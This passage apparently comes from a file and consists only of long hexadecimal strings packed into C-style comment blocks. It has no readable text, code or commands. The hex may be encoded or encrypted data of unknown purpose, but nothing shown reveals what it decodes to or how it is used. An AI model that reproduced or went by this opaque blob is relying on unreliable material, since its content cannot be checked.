e78a5a903fc4f352b9f748799fd8cb1d85074d922e3532a2180193dfb130e2e9bb4c056ed8a45bf3705f2cfc3f6d959d6ff0e01c5c0c9494672ee5b0fce98445b73082d0de8a9054f60ad2047c8696df84d0d824b6211ccdf77fc2222452bc8a1630bd84a80722da20c4b35acb734c5421ff3b26f9846dde551d05476004efb9496524ee0b80c645da073204bcb02c487d7a83d55a788b2555364cab8f8edd4bab9aa85087ebbd81332edf87c0bf1e4212bcf2804a7997f3ef5722a8066a333d85ef58b979542220d6865cc1722019f81fdd916c15833161e3773e16a5d9278160694fa90aad8ed74f8a21677dd406fb322b4b321f72dd5884debeec55943311f033f5f119f79540e7680427405b19ba915aa3011cbbf20321e19d6ff6dd7536437c3cf35f6fa5f9fc0cf4088afd7e75a9b23003414fc796cc620c6c213ab2635f443881cedf793bdc0411ffdc904ffa7f48a698c29080dd8d14969a2029bdec62d03f9d231f636738afa642c4c0ac5a13ce9d748ae051134ebe248b54a5e75896baab8b7bddd1e9bac5efd8d817546585221b1fa0c3cb7900e0e49ad8cc682744870b19f7343340e4088c0ec945ab0807673576c9f3c1a076a0550a5e5f26f392e0ba84cf678f19b0cbfe1819417960c427d002ea8878e63c05e7422906161a5851b4d1076b256895ee33ab1feb28b64fd518a6f20a46f028254220b072b06e38ddbc189b5e050f48f9efec9109171ff1dda50851a539f2f39062908c26e54713d3de426646fadb5ec30b37b2b707092180f9de3997da1f1c25635c774f2a705075ca153de3f4e7d977738fc9caceafa97f513b4d659770dbc03acec1e6037e886ea995e436ff70aa2d832fe5c7313a0e1775ca0cd43f10bd581ad1ee9c36a0ab625b010ac573cbea2283929a4ab658efa46fc491c13a46d2a5d136bcc37b0f38c2b1cb51bd4b563efc66e7e793de63cb10b0a02fc2e26d442ad197d9df107796df355eed13f03a24dc1d0eeb8c117f113fe0b5b5cb0c33df5d024a6b91359a37752fafd9b15c81c90e9bf1192e945618b4fd21949935704f7ee07649dc149c0bf409cc8e1157d9fea7a4197738ceb978b55e98dfa2a8cbe11ed981943170b3903fed299313182d4d9bd63126a936efbff9263b105a9490b7f6f8fd57a0d3257888d777664872df7b730fc2e64f94a420d6ba0a3ff96a273d4500528905ec7e185c270fb012bb43c0fe5f6c094e215f3aac91e263bdee6bc416983b459539138c7f3b3faee6364c39f859dbec3742019848ecb40739f91889ce2b7a6144e84ec8b772dee275b52c256c83bd7bd89cb1fda718a26c5d8e04bcc63b243cb1c698fce3c4f2349984056edb186faac0b8dbc1002c14112bdcc023dcdc81079f72632a1f5c942199ce3db0e8fda78868cdd575fb3ac4a559fd33262744c9ac88321a3702e83fa1e88929d955b29aa37366d1f9bb69d81070382bbc1f1bd320aa742bef88d19496dd71798aae0641f8a06c5f91eac9114aa9ae9c3030c58197ad57f0ece9bc871879892b*/
/*210ce31480347f1907e1c08b4025be37dc9fe1d89cbb89d378678719df87247397ed95f95e5713e051b6c7efb053f1414888eb2de93c51adc95678e47a5a1fae62d6bffd62ee00ec358c371d0ca935fd313820292a230d14ff8a2fa1e5f9e55db9c4d4abc965efe4dd19737cedf8ddf7508d37d86b78e6236d3ee89d424fe6bb349c2c0047b11bd8d15ee64c313f065d10b66937adca8007584eb1ad8312a26d8ff8356eeac1d3b5139efd5654507614fc556eb4833c08ec79ffdc8b9ba4d9b8ad9a6b7911cf3b4d4d31d9214df5f0ea585f9847e9adfe6b95ec6cd893fb45a3f9f9196c9a4d7ecbadee924d6d8faeb8d2eeeec900a31c17fa46c7524a84713924c1262ed53d1970410f28b1fb88639cd6062c05c711312bd88a7241519802c56d41fabcf45515db6f1d99fd29e54d09f21b6a1cd77ac423901096b16e477a34f6e69087716e888f6c685c9613f24db417a13675152387e3028353e36c9b93d4084061267d5166c7e938eb49622db6ceeb8aab8ec289db29f6678508128e32f03ef5c5a4061acf0e52ab6a0539dc141abcb1732d0bdee92ee0712bfea5d370256078ce2e618371a48943b16822dad57d04a25546e547df3b52fa7f15bb7b626d102914f745e55e6a456191e0a0c28167f52ffed9254523d39dae93d58478af8efc3674d3a8c7188c5961763cc06e81f7026c27cc58be245c3d38d400850f294005b0c9458a920f070e3d0fdaaaa4ece2aa2cf9a0d6c6c9e00e750ed4b78f12ec230cf2fd9cc61ec94a3b13d4c36c6cc9c248a21fd96d52b478828a92129de6cc9079c5a70a71229cbf2d17d347a79182749f50ba91b390456e33b71abed9c6f3d8b2b25786d4453fa5a4ec6a4bb70a72336fefa2602618a39aaa55d3bc2bf8d6f7136e1027bf8a9aa65fa04d8d68b05151d2281de92794fb225919c52cc011dedc35fd5dfa1612ef0894b3960ed2ed5a7e69a41c0b5228c0a788b7e87f6a6cfeda6cd5ad1ca85acf2063f5ee9e1c45b81b55b2ec38b20996e727b5775b12dd20a14700c3c25721bef1c5b6419ab525210144a92cb4d79625ae0ce0ec4e1a9975d46d1b212e1578f547460317ee24202e1d5a27ef495c17dbafef40bc8e62f144da3f4c894c936f2e258308b155bacfa593fc7a7d89c5604ea975a9a212b8b3166c1b5bbb9bfd2885c26f9f94d85a1f23f431a716ebbb7aff94a967c1470de2640acca776d762d90fb5015ec9e4abb0090ca6b3bfbf69535244cd6f2724fde91c11bddde2d9059cdb2391eeb9dd5e1ec201527be281a3656abe3aed8b56f61a7511524dd8133d99b0dd4d259875bdb43b49e13e2b968f10ea83fa68de98573bc72f1478a90de22e4609318c9db69f7f089baa3b1571e68a91ee148e989779adfe0806dbed3f1bd0a46645d4bcd8f5ae2bd8ed40e7c94bb6c02f4574cf44f2a738e5122e8df1f38a51115bc2bc5e392f8e23fc396eef93b6c1e7c27dd1bd4c915839420ddedb3268d64623b6e187fbaf5edb7de99151e06877579874fbd4a39ba5a75743e9b688aa4079b688abd79e51ff8b74baaf49436b5f97fad8034a10c8f9c66bd05e8598ddbc516f0416a3151d69eae36095328f760f197168776ae04bf497c9eca6d1e2cbe881e0c8288e251e16d812bdb8b1cba8db3b1aa40e4d333dc3601cd148fad92fe8c481955f765a115a0349387f62dd6f1dfc2c496899033b8622d3481687ac23c38f8a3ac7ab810cf3ba46b46a0b847a8ae027a95b2f96b6908525bc159a2b2dcb8c84ef3ed9cdeab4e5af1a9b70bf647533aa1eb80d8319ed8a0c196337d8dbc4d89c9ea53157f114296f928394f50906214a5b677618976450918846b7846235994f4ab4353090d6ababd35540bb17e19806205051c26f21a3840a48b6490eab9748399e5e8b9f53c2b089ebd6e019d5a47cbe3fc2440ae9c7482aa93a990480def3fd072379a905bf12ce40fb8b6c5718f3a1b6037e718910b1e6b38a59761e9f414c441a3d468844e6169e0e713f43c829eddbc690304b439c3b0b8f4e4b92c4c2db67134fa89e34a9d74b6cf24ec4844042b2b95785e7f081c129910b53ea88e8a6d30121c61465fb14a930c8c2824f19ba344b65197118d9f3949b73d0d524f362dde7015bc77bcd06b253a8b4a91483561632d856d79a9e11df8074378d25adebd28f3fac06436acb42a477c502ac1c8b057556ac6db56a6f328b027605ade0cb15280cc78618242bba6728c9c3d3f7f42fefaa6e1496c159567e81ba5f3ef82f72c68b02b598f0c1b5af76e0428bd14ec200ee5678c56c42de0b901fdb013863d6fc77f0ef25a2669b677ef31d14c8ffb05defed06442aa645376d5b8e98e137eb93d6e4948fb928655e530577969b6a1e027b79764f744dd7e152486ff906d80cede5e525e4b36eff2dcf1b65a8c90319bbf8d29275882496002dca81551981edec453f7512fb3ee2a6c1118d45db720ff81baba789e28ff00198df86892a47430b4c56bc98451575c942c0d7527409a0d9ecd82fcde25c091266389db0962bc5c7bc96518c3639ca190a32e863a9d430aa7bb3c328db27d0abcbd6b1ab37ac100018bb69c4dfae999f5c5d5a1a0227c06372c388c44ed2dff662b4b1f020491d326d0065c092337ba0699d2a84508d2ba374663383edaeccdd1b44df97a8577f031300e0bb38d2dc39628265d968761fc44a8f8b030da07b54e5c992e06163d223bd242c07455e55b131c02e3d268bdd9b6d873dae98e76620025e729ddb453ab95a94af4ee5daa7cafc6d345e172ebb36b5017ab9dc02694aa671c9323b209944c9bdfe*/
/*2a052c40524ec33ab80d75b685f1c6720d53b3d9e8e3e43894ba83f890cf33f77832df954769403b5950b588e03adb627fc8fec0c2aaa8bcedfcbd2ee1f4bebba501144bba65de342ced70dbc979f82bda76552c39758447a1523312800f924c22cbdb45f60a1b8f954260270e825c937167d2a2cbcb220e687061ec1f48be3d66996591f5ba29ebf91f7458fc4db097c5fb1d7f8221b2fcd33a0bf73de20d0738eaaa9de0771f4cd3f63d92bf72b8aa70b876e5b6b130a38ef442121be2ac269904c892e4903ecfec546d00e1847049f694bf43e7a96fbbdee24005c1f5a04f418bc243453b2febc573fbf90b9646f205253d195744250d98fa9bfde8027c8c64ed8c741e880585162f4a9ebdc9e0aed2853413d5728adc6412f9923d0860c432afb709a5cc90c9d617f26f8f3be031d07c6377a36670d17a7b6b4bbc16c4095f2e841e282e911926540e5c746561f8bc6a52e3340ff4cfdabd787f2d5f8da64ba45a95bfc87f34d0a4e39103dc42cb8cae01f4a55d56bd8bc438c89fc9a06d74c710aec6a0a14bb4a67c801a782570c92e2423c86943deebee287b58ded64aa72b7e384c533fde09a29ffc5c2ff05e23abdbe4e82624497108dafbc1160f2a4b69da2f265cccd2f5c9bc300d7b0a7b99119c070bd8af1e167bbe9fca58f1b8fa83214786f8f738c018f2a0c196e3f42b282da8f2a7c8b41b163b9ad8812a2025a87d41653aa39143b9dcb1e754ba1b3ecf9c87bb1b682853d12dd401606679d47b2fe9f29ed48f382fbe8231cad1b5253648dc76c49dcc93e87a42f718ead31d68198955b7a1a44b28f9e69c4c5ff78052115dc584d07c555b4983671b60d6768a8de287f992de8aea0ac1e6562a454972b0b61e81524f1101fa99c1d440a4c7195528cd534a879ba46584c7c6b62321bc3afd4ba496ef482df2bf2820bab9997d1f052775df83798be495e2c137fbd0d81b90625b5d85b5103f7b247adefffb53c408c5da38d56fc5ebf6b3723d15188886bd66a69bd1874d16723d06e405be0d25a673bb1c0a3ae0be049398c2b1636b2b5a6667f2f1333e2e8a0cf1ce9cd8e10d4175786e091187dc56498ef582060a816f8f2dd53e250e521c118fd38bfb24833145862df773d6f8ad0e4531414b3fb4c60cb8ecd3fb3dcdf9e72e2ed3572277a5efd300b1638a99729df5d7db4b7de1c6b78fe80b972dfc405e708f9da001e0bdcc98879af175dfb0ed389580868392972b8398b2372410d4b85131a0c47e356ef98f60e0468855cc76eb49a3ed5ab7d6aa06666af2da0166488164eff6d749a2ccdea968bf764d3789b0f99bbbd54c28a6eced3faf075760d8ec2ef2d2efc65f31005b620a4fedf73fb551aa65561ec6d620ed9ab83942f18d223a39b2da4bddef51d779e78f48d4113a4427663270c0037f9dbcc371548e86be8491ff24008c2ab27a7d9afff9735e23b0a1d5b332783c5f3d38cad713aa0aa54ada70dcf1d685f9f8feb35555596360e217b47f4957b06fce92d4950f5f7ecda2c261da9127e37249cf852535a490a8e1b0da87d90fa97f3e5bf64b64dd54d9e13c42813a4f4c8883722ec803cc845b474264e71655b5b2f0daef1f127b214e19c83d92b75597f0df424e35931de0544b3a6a46d3726db66b3d0884e1083999d41c07ab7dbf0f75adf6cc39fec393d46cd07df8081b5b2d9a57edc1cfa78352439d40771da17f22de56b816a26e9aa68a75e0e3da560d242da6433b3f8f0d1749a0d59668d30526573c43f8af2f2e32a8e0e5459192c42bf32a55a079bc558b2775bbb96e0ebe53189f9ba0d7ca6086c4ebc3cd54958d9a968848a23651eb54be440b0328000d8f610819287a9295eb9116b14bdb947708339c00f5ca477b9528e10a34882d31b8dad3f9e1a141865897f96a319115b81f357b205a6a7555917a1cfa3b4f359960ac96a8cd64812a08efc58f4a5286d5d91f0a1d63dc21528e61ca387818dddb36e6e65f15025721231a1c3ac7ef92012b34180860b871b34efafaf31d383355d08e5319ee82b98667e7fb1ae15092917ab72e5ef50132e0b96f5305e1bf25316ed38fc4eb0a924fe1742956c3a3e9791a009e6ee06adf466b319a0994d79b6e4cbdd9d5d2a4cc23fee64f3416464585dc884cfccd37f50dd96b757399f3ba1d2fcd9d3db81789df6667c9f7c65e19f81303f7e0250e0656bd9265bcafbd41b6b04614b566e1becc8053529667da0dc7392a8587cc8b40151afdef617535b6d6d06c86b59777410b26265ef8b7cb012bb3f5008d33240076a9b70c3ddd3d19147b2b42869256fe78c626060f982f0d7f7e3c0bc48abb7cf0a1d9632ecf817508c8ecce8224bcd42121d2e0a3726b929705564c8eeae3e03671cd1e604361900dfa460f2d021f1837d0c2043d79c47c7348248f4fe1ef7945dd181383379148f4afd30b8bc1a6d8e11baa858a97dc5c6d2ac2e6fb7496fe3c9a09ed546558ce7ff5c438e531e2fa01d4aae5ea8758c296238289bbd5c636d42d56cf8b7662e1da03bb1ee9102e478b7244098a9e7c626d4ec83ff5e6e614e9760a30be94e55c4cd1ef24041b58a50512676308b7bc384f5282f66226b463116a3becec2840081a1e8f774554061aa309eec266ec8fb5a175c8f322e3560ad39bceb53d29993d08a80b2bd4c5d1357808e1d2fdb9f0bb75b6fb3e2e0186bb582cdbf1546d13bce851d75755db0ac613e51585fb2ecfd88113e555b1bf4d731bf1bf89e0b735618e1ab26f8f4e9bf30137249599015194a3072d20895b9eca5a79a8036d98a8aea9e8d700fb8586819b138f68*/
/*eecb9ea2cc8a1a4bb6803be9858af13f1fdb1032f6fe6d09276601692cbf90c62d211243e49e194cb984597ad9932ca830620d1d6d7d8c70f9fc5cb8ca138e255c32fcfa7988b8515340275895fe813ce46cbd62e8408ba9c579545c10b2867feeeea719ed01a0d571f035d1e8a57b742957d95701a1377fc86fbe6cec554538e46f4f47aa56d0f0e906f43dd2b1252b9dbbd493af1ba244b7c7d5ca620f96b80e358b0f58aa562f6b1342ab386ce4c445bf2a53b929ac8f51db32757a68a371f7cd8f65860bf06e3630edd0fc69ad2fd3fff4842a254712c055afbfea8849febff2b5dd6647212444dca2580617e3347cb168a21bedb5b75e8d3d61388103efa359d1a7c9ca6480c6bf0fe39ceb504a760eb063ff3efd95f62e9fd4e7701db9b62134a50d06744e77c9c6cf8d61b2fc6131c1ae523904e6f521a26a29cfd9f09c39e7848b5993359eade5af7ec95b56c0a9b5757db65d831dfebf431c33dff32adf9cf0f6e341232d23350e281bd3220e151fff7a472fda28118c3917f6ebacf87d6a69ac9460bf46364cf3aefaf77b78161dc21a579c0e0fa14e896b1c11caf9b32d8224fdffba3146b7b1b9dc39c1f6aee0acb601f8b39f00053fcc75743793e0364f9c8b235f9a9ba478d4805803bc4f1682c783ce535d444b7845918a031d5d7f63460f8764eb9dde81dcb47586eb5ccd7a541e3951295646bab15adb26ece4abc902feea24d623fafd3354c7b833f6d76b6f6e910d4b376a9506a22534a7e75fb493a8c6f07d248f62b75e87435f8bde7ace37a58f61b9f0428d5f0b1bafd1f67f5e79cb75a84af283b28f1d5a4a2084db9de9d0fe0976fb01bba75471df266025f01bea910a7a1e69cb1638f1d8a18d1ba09125029c4f79cf9ec97aa55a9fec654609dcf832300c4fe4b64de6628d81eb57adf9b461a58c8b204c1cd8ec562ef47a05dbc4a45ac15aa3d43dcde668a829a8f1206232a694208ea86803a7d414748799974b57db484c4c8f6f0f15aa4d9d16a061b4cc58073e365db8bc4b2e8af756dca6522dfc6469665975aa56dc30a62fb505568bacf1dbdadf8244361488aa450716ae4afd78ea17c74dcbf38e8c0506946d1f145cc577a51838f97c04020c86d433b3baa87a1bbb94c20ef0e9bdcdb295d85351300159ad70ba23adad440b2d1a4f1b320b1950f7bf87bef13abb3e63344b1b1f1e606809972e1d943d83e7014d9bbd157e6cebe65f57de124844289e7d160f05546e1c46f976cd5f0dd100426565bcfa1b4da5480e9e10507564ba885e87908c0389fce8b866e68ef4a502ee5c64c5f4a7002cd97cf3edf51caef33f881b833d223ec9f50089742985fbee6a4452e4fef04823b8118af7dfdc8dd8e74f646705a245fa6023afe9c483e2bb7e84b1501ce00804cf0936eadf3f0cbeee6e978e7540e77c1feae40a4e4831ecd1da7dc61f2be389e72546c65ca6e977f421ed4a82daa6c86a0036a19843a9250a6de5c97b6db8897b53fc85838c00f65823c9ebd58fdb273d9ddb820a5bab4987aa0690e5d685a08493accaad2cece05afcfd5c84965c52266103fa013b6588d2b6bac865e3195c68b76f1e8279d4560f479407f6c94aa6ba03d7dc4b0d769d24ee297b7f0aaec28f9243bb4837dd6b8a169aae698a810f4295e7e4f3a34e9428517dc6c8d3d2b810b41c6fea5aba48d32b8e40abe34a0179bd1bab78287d2e1932d0f20b0b452fc630c4bf07b52c650ede6a76e356d0d0b79d8d11ac1ff106942e2ce7a10a8f7f7019f53e8de5db3e509462a0d6b3da1b1d605e895f2c38bfbf16bf81152f89532d57be79cf834b21b2a8e397ab275ae74e6d0405c18221fe817fb663c4529c0325251156ed8c405b9167cc98325ea030046abfb4412762f7d2895509500e7206c3574aae035589441c46f9fa6869ea9d12baf7699265ac6b4bc426badf13bf9318438543cbb2ad0325ac9aa80db7345db71c246e58fea259ca0a94859ef884d2c136acdf50175539c48ac39950d881c3d94cadbb566f56b75815d86bfebd989ca024041877350bdfe30a2afb234e730db1055f95a1fe46fb216a093239f17271bed80137e3265be2767e5b82b4f91810b6f0ff345481e64592487eb06417a85a5c58b6e686250bf7e8d967dfb61c2313271c29be206d592276cc28cd4e3503ba651b712f393b67dbcc23b25dc8294090a87fab0c3d959669ae3ca43694e9741c759cf6207053fe13294e24f75808c5182902a2f389a03cac89181b4cd45c51779c2d3de8f3e706cfac25e41b8ba5d2dbe085141640f169ed4f88345bd344110b547b485b7e4bb9b295c59fd3cbbbb28181d458fe3edef602cc8aacf3d2a92c3ce01948943cdfcd1b22385cb42e4b515fc55e3d58143a31fea4cd9ca9234eaa5bddab9d73daacdebae7f6c226f0374de3c9379d3d49df95f621ea14ae9a6e8ae6e62daa6549b610d6df44c60c4e1cd9ff7a0358bdee18a796aad0948955c0e09cd0d6ad7d71b8c81236c54cbfc31186c1138f8855520605cea830b9e6f518dfbc37cba5f93d101284440a25f9a3aac2222a8b39160dc1a67c246fc17e92d750f0bf5c235a6257e9047c4b6efa0b85c0c5bc8fc7161462b63245ee3e61197c05bf57789ae8b30140a010f4efe9e05a6ac3fd7311e1ddcbef9503c9304c913025720812edadcfc864cb0a7640a3a4320080966c59b851bb3d88e39c34103c5d092f40bb5f579f312f9f9e4825b5e12b0fe9ce0a8031be2bccbae8a159dd972900604a718b9c2025fdd423749d7da856f435e92d98ae2d20a4f5ab2c24e836c523caf7e5f8f4*/
/*491bfe81b35d9ddfd711ed3babb036fd0cfe28aed524a509e34cef240d71b21e69bb21d3c743b0d784c0d4d37983203e35d4f72bdd77e21a702e19824d38f19b9199897b97860964a92b3b6b914002614d509bfbf357b3678666acf181db67e66ca29cc3bf3eaa659a3b6cab57d0caf3f3dc6b397ad111c8aab3dd9246a3bb9a3fa55c9bb435c84dfcea602ae2cfa2d8c0e439bec305e19441b1fb8fad97f7ca253a2592e002f129490faf8691384331ad7cd6dce78f9586e44b98c577cc050de7a7a9528e9e30d1b539088c66c8debbb24934531d068e806ac24baacddbcf8636001f96ed9d4fbef7870e402a560b935b209c0daa63e4a0e8aee075ce0a4ba5d790eba156e05824d73efece2dc0d5c10730990b5bee388a1f3edb337c31e9ec42a87350e4a1c8bfded6a3f5166f3a70919d4ee5308d19ea8d1a97d09a307f40c68a125d70e6c2e5a30ccc997f59fa036e7f02f2e4bbc0b972442cea4e1a0ae12d7c8f8006132b0f7a726b3ae775e3e136f2ec7d870d9c2c9c783aebf05161425f602ebff1dc8a250e2632ee4af08336c4b9a3dbce25249007b1f8d9051b8b0129b10c1f4d037d395c2462d65668933564a554d6dc51ac4719eef6df5f4a3b566009b28cf7bf66a2f2bc6a8dce02827cd0387bae2d3fc2f0c7994abb3a87961e7cbae53f16896235c7b50474d8f5675b10af4384e04d441fb13eba382717120acd9c6a514d07a9f1da3158dd97d5535b1bda62699c9ee5cde6918a45864b959afdd23608722c64a6d71666ca9b0f62be0beee3c5101ab4e9ec7a537b06b4352019a5766df8ed9053580472234724868d5cff6794c5164b89d92b248de7a77580538c88b803f6f6154306db86d4abda3d30c678856bde9b534c8b09708837808bededba584d9e59072ca9eafc85817fe7a1ddc6b3a225779f59dd5a75f401a2ee13b128183ce56c9e82c35f8c20725dfae3d23672d9cb563c0eea8aa354dd22081a89f0011bf828b65432a53f53b4e828623bf9324d766815bec3f9b76887404ef2f2d76d40ca21a1d7c5800bb6c105f43d568ddd20c28cf5552d7a32af7928c69293d9b0f6327af598bedd70acbe52242696cbf6ed5401c23da8476cf43df5598fc532873ffae5a2a4e64bcfbc2141d8682cac4ce017650ad2a6b4d0db49572350962ae35326b1f4127714a8e660d7043bc484a3ddd6de33129643050afb761bae71f754e1d3f99694a32cfb7da5727f4223d23f92cc1adc07e1593bb5cc321b0fd24cf6b5fd5398a0229fe488472ac0060cb5666070fe88def93513d3fb7275d70cc8ee0e692d9734302a61a4b657ce52a3a8688bd3d619c8744a2bd3733256571d5e0a510c721fdacdc61ad0a839ba2a6d7e65d286fe0166ad2fd3e901aee35f91e819b4418c9fbaeb0650d71828306a9cb62b276445270878ca702095dff63c787a88149dff5992066a2f4879971961af7f399b382879240e7166f7e6a6565e98f7de7117990029fbb9953e535decbabdb7c2935431e6b06e42fa2de1321f164f189daa3d4464f1fcdfc992ef1ecbbbd8e49cc1b5a3d89e9606a69fa43740016ac23864b09732e3823661673116d6495bb088686222f86cc0b6f1718ad0eedada392a5160c1ace8740ce4ebd5334a0b0046b2d953fecefc96f81af4362b84e250a250e7bc2f86069c475292d4dacc09e8d2d6988f93ef4273a7630fd96d100d5c62c87d6f16aeab905147c0942c8e6e087c2080e955834ea90c7c6ac939e9ce842b8e81f2adeeee2d249988365a29df9eff2de9f4e0854edf365bb4f502dc286d90f12b86590adca92aa516607edc72418c27b94a293e34a79921c2c0467a2d0b67c1badc6974cb7d6a3321d1c1fb074762adf3460af75da2c3bdad89591b0bc9a65ca3b33d77e1f32f62890af84dc70b6c3a4f2ab82dd79cb92e353e2ebf02a1aac9fdb9f4d93167276a7f900561d06e6e9906807ebbbae215db0cf76dee623120fec1b26787154d0c93fded3870ecb37a8869e0f6c142801608725d184cb3bddb51b4d25e8afd8e5b6daf289d4728507ba3ae985c527ac020dcf5c8ff1c92c92f69467f1265b06838ba664f980bc2a4534c9a17728895ee31712ec1f9948969bee1614d31b2cfb111a4522ca72cdb6becc0bcb06d65bc68be2a2f630112864378c007d2b98c7a4319cccde950dc5267cfa0ca76f21d37e712e17b17b97ca3901872e3b0413bd7aedd6700206d2a5ce73bdbe869ede42c33a2724df988d47ff47276ed5831f779121e6de76381592b0c16b2f7cb3b05a11951467eca480ca85df26dea06dfabebd105b67dc58c33c953b71e5d12e2ac8f0947b27c1054a5b505db66cdc24ff87d69a6b25a2d459c588661dffa33dcd6ccbc6bfe61b5ce4b6c3d806899bf9c0ce15c19038943dc14757fba61adcf9533d2d25b2edf14b56c0b874eac77591be2cf654ac7ef77d7d95340a665c4b3709cff0437df5d663bb0f6ef14fbc524d0e4b00f9d4a39c72a0510dfc8ad826650c9493a190f99be55e11f1a4e4238ff47560a49a3e3781dca3d49cab5fb12a0f2bf6bae0c7634d858418036c7ed7b8bc73b3f23e5f9728e72ca359a4c65ac76da85d26acca074ac16e8932f8d8235bc10c9fa95631d5161c22a88b75a8dbbe4548d0f841d75f4b480e5eff4998b287015d61ce5163ba70fe3228cddd270420a4f3eb266fb501f2eb0136c6fc257fd8faffcbc9d4636c60b18491257b953fda3255dccec62dcbd6e6424e561745890de8127e7db980bd1331518594352fde8096b6fb48c563215deecf5be341d3dfa0ae99d715696d5de3bb342*/
/*13c903eebf43cdf81daea0d5da288de25eecfff3540f626dbc1904fa18ccdc3fa121d95ac3a6e8941a965e12ebce58035e92302aa1ba29b3791ceb1521c32afae66b4347c6cf771c2c973956698df7a9a7b33c82d36c14767c29ff374f4477f57925fb0b82ec72367a2f5694b9abd45b8aa4c9eab85f3b746cbd79830b46e7a33876bf47e39770f3178b18a60c33da21c340c8625f5b047e75788ebbcceb4a8e767c8dc2bc4a1d935163ac6c7127a72bf800aadf29e23b5ccb6215e84bddd7bc11d1bfde043e9d573e8c600e64aa10d7bcc3824e3d0131a3d97ca5d88c908916a7f0894273881ae9f2cf3fc46390fcaa3f31f5fc115ee383b99b496f849ae9cd14429afdb6aa9ce443e8ceb95b3a0bc37246cbd7366a5a9b51b191b1225242c1074f8b013a8367de9303a30811af08780397705aa98f41bf01f2e67e76526839f96d3c868ac0c27dd96047e89e77ff7443b4467e3d588d3ff9119a5c07c6ca1ef37c3540a90c525ca7e3bb917b655924d6909eaab426fa23a3828a0ff85cdf07ef49b5156338d82ce2843ff52e71cb7301f9a87555c2ed2f60da03da6429d4181c84369323c9b957062c7947ec0df3f7932e5881b897b06ff4f36a8a9d60c5adbba4570e4996e014e942d8666c88075060fb44527a268896c010d46f422f22f7a4359fa586301045dc99e14ef95a0cbd0bae42c197e5bfefb6cde742624a60bae0e5ed9bc4d86ad565989761df5b6d0b5dd24f3f96722bd192b6be7b8feecc63079861c1fd0ec59a2b37b577ba1401e48700fe3a5e9b898d9054baebf53827c0a090022f59ca802a23fdf5e7f5a5ecd9228ba4b2adeb60e27d074b2cf19547f13f03f936d5a62da1e923995dd11d9c0d73eecd0c2463d864316b5011d36d5d2981c42a6c6e70881fe3e5233103169cad40fc8344e4fc9e6bfecd427d69e549827f652ba491ef51f244ebba6b6a4e029063ec5c387883e83ed86ec1f24ad634c07fe78f6559609547e544ac48808370ae8f69cd63b1344e8f4bbb64a4f61c4168bcc8e7a7c5f1c05933aea5751bfd2299d96aa29168b2a0b93e989dad4d8b4a764fef669bd72b96bd37ef5e5035473063c143f524a92b70d5f9750aff6e0c69eaf8aa1ffe98220dbcfe6af168f9fa68d4353cb052334457da3870a1f80a9ab9540ea58e9edb3c833ca81969e46f5fffc262478e64523d31d026417876880da29f1f84a7f55aaddf879423c42271b1cf93e3f24c8c82c700b178816f6d6c0487de10b13596b82861ce1a35720cc51fe7fce3ae3514e207072afa14cc7f726ec327ea9d47cc23372475b66cf1b83a30344fdba0785223f302b38ab8a5e6a32e850d590c2ba13d765dd4d5dd54d0c7b647cc7097fc41e0c0efe2cc8aa4bb6eb07e54540f9ddd30558b64cf19cb7bc8cfec1d7a4926a65f4db208638b29352b7ae590ed721b3a08544fcf80446657d769127f424de506540e7772e0e0fff721144456d6649236fae625bc34f745284003f31433b518d22cf0757a78313b727d530ce684c8e235cad784b6a81e7c602cbb650ab31b7babadb1ef678a6c5860d285a9a224fad3d514f1cb59ee0c4296bc09f1baa0ead3f6f740d7f37a0d8ea20d2ca6feae3b732586edd4fd9f2d2c5e7a27ad497485c651cd1fa5b868e1b98156244a95692cb23bbbdd4b381560dc9df4712f9ceaaa8d042f63cd7ea4605f765ebc90d36f34c7848f92d3279a1f0f4da092c1ed4ed55e65cba5acae55be32d5c4af3eb6745a2be4f7c740d4d015a2fe469f29d49ebbc3ad64678f3a4491226b1187ae7592f10e7c7eaed2061b64e9ac96a45a4e3a35f9088cbc8ed9871955cc69028995b4d9ebe478e572d2b489b6d13a4b84141aacd72a68fb0924c1bd1197f733ccc19c06e3ef461ded2b9d4ef4075ae6e9c387df3a5056dde70154b189fab3ec10fa29bed7dfc45e2905c75c37c9a41c8856d85a1333f674823e8de881cc6b222ecb0dce48912baf2ef17af8966e11232691faea43345b158c6c31c375219c84d1ade9a102c87a40766a880179aeec2e3310a07aece280fc4fbfa634dc882aea0255db141dcf30c88c31b82c04af8de9b2a3eacd2fcfe4d0b8d8eb28a408cf721a24c39cbc46b2a5a4cfdf85297b1090e32528d96d183172f5c21ddb9d1201f5f25bf5e799a02e03c11d9abd88c8906250f48a8e90dbe2ff308873e8b799fda7f1063ce736595d6c12d9004b803ee2af12a79e48076dec46cb86e96fba52db6d374dea9ad80449e2b44d84570e16f80db04b958b5509577707981948b77bbe724c19f035550952fe6d6ea7313fb252b2ab74c002ccbcfd3dd1ba49a4da4864ed41c73604761085197a6ad10a95ec70f7af081f42d736682b53e1559863326804be38cc0f8215388f084cd0cc18b2e36cd600b1f105e88ca3a74ccbcaa47a54b1ec3d082b54d1a33f1162f029ffcffb580ed877b7d8d43be1ea37e7a07b6595d196309ffab0b9e771381b485f5c4acccbe25afcd2213f86457d2f2419955d76f07e1af5f30abb4490961a7ea17dfc577d93ac4773940e920830ac7d51ae0eec86cb7c57e3d7376a4b18489920c3193fe4e62c9654d3b128152d3ebd17369420eca8c935b6495ff66c418526cdc4029432583014fb48195f8ce851491ad07b8db9d5f6b7d7974e2967356f0c00b511ca40a9ea0b190da5a7f9f010c62827dc8ace88de1085b5dae66032ff93c1b09602fc5b361494be704a9ac46b326b5e1f7018305be6c2dc2ffb9409490b1e429616d41cfbecca33be7de2374fc80720f5e807fc397a4ce9f48dcd0da97c6af66319e10720*/
/*2b068f455cbb063cd129922a3f6669c093725cf096a821afea978db2c12c95a6f726ec84d30342f66ae1fcb38eb96552c46a34f48a93a6dfe42ca1f4b835698bd72fd0a19bcc641c56b972a7928f6473b91dcc54f8d99cb16eab67e85f2ff2280c1cb08d0e8916381976b8ed3f5ca461c01bf544bd29b8f2fd49cba913e7ee34b1e5a851c75f8826e9b599474e0258011d11839f88680ab0a74bbac99cbc0cdc61413209d152fde57bc8e03ced8ed9bdcc07d4b32c6d69722a83559286c789dca2ee9ba0817f0dc00faf381c934d895df4fbc59cdb4b88929771b5c0be207ad8190a999295c9c412ae85946096f22bc24b457e786e10f24519dde7301b61798490776d7806eeb25ffe3ac861586a0df98cf481c8732d05e7780b411b64d3801a4b8f36f344af7a9d5e35a611d51a09d7f8b2fa4a2302a2cac2b8d3375664d3c16be10e9f83c46fd8535e96b64b441c2a8b6c2b928f9e3cab82b0717e04a5944b735f568586b83115ad39af1c2f3ad9f6085a28ee5da8d9cccb1af48f620dce001